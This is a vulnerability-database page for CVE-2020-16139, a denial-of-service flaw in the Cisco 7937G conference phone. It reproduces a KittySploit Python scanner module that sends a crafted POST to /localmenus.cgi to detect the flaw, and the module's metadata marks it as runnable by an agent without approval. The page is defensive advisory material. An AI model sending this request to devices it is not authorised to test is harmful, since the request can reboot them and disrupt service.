Lucene search
+L

Cisco Unified IP Conference Station 7937G - Denial-of-Service Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote attackers can cause DoS in Cisco Unified IP Conference Station 7937G.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Cisco 7937G All-In-One Exploiter Exploit
11 Aug 202000:00
–zdt
zdt
zdt
Cisco 7937G Denial Of Service Exploit
11 Aug 202000:00
–zdt
circl
Circl
CVE-2020-16139
21 Aug 202014:32
–circl
cnvd
CNVD
Cisco 7937G Denial of Service Vulnerability
13 Aug 202000:00
–cnvd
checkpoint_advisories
Check Point Advisories
Cisco Unified IP Conference Station 7937G Denial of Service (CVE-2020-16139)
5 Nov 202000:00
–checkpoint_advisories
cve
CVE
CVE-2020-16139
12 Aug 202020:10
–cve
cvelist
Cvelist
CVE-2020-16139
12 Aug 202020:10
–cvelist
metasploit
Metasploit
Cisco 7937G Denial-of-Service Reboot Attack
2 Jun 202000:00
–metasploit
nuclei
Nuclei
Cisco Unified IP Conference Station 7937G - Denial-of-Service
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2020-16139
12 Aug 202021:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remot."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Cisco Unified IP Conference Station 7937G - Denial-of-Service Detection',
        'description': 'Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'dos', 'cisco', 'packetstorm', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html',
            'https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-16139',
            'https://github.com/anonymous364872/Rapier_Tool',
            'https://github.com/blacklanternsecurity/Cisco-7937G-PoCs',
        ],
        'cve': 'CVE-2020-16139',
    }

    def run(self):
        path = '/localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        r = self.http_request(method='POST', path=path, allow_redirects=False, data='')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',)
        header_any = ('application/xml',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='high', reason='Cisco Unified IP Conference Station 7937G - Denial-of-Service detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.5
CVSS 27.8
EPSS0.7977
SSVC
1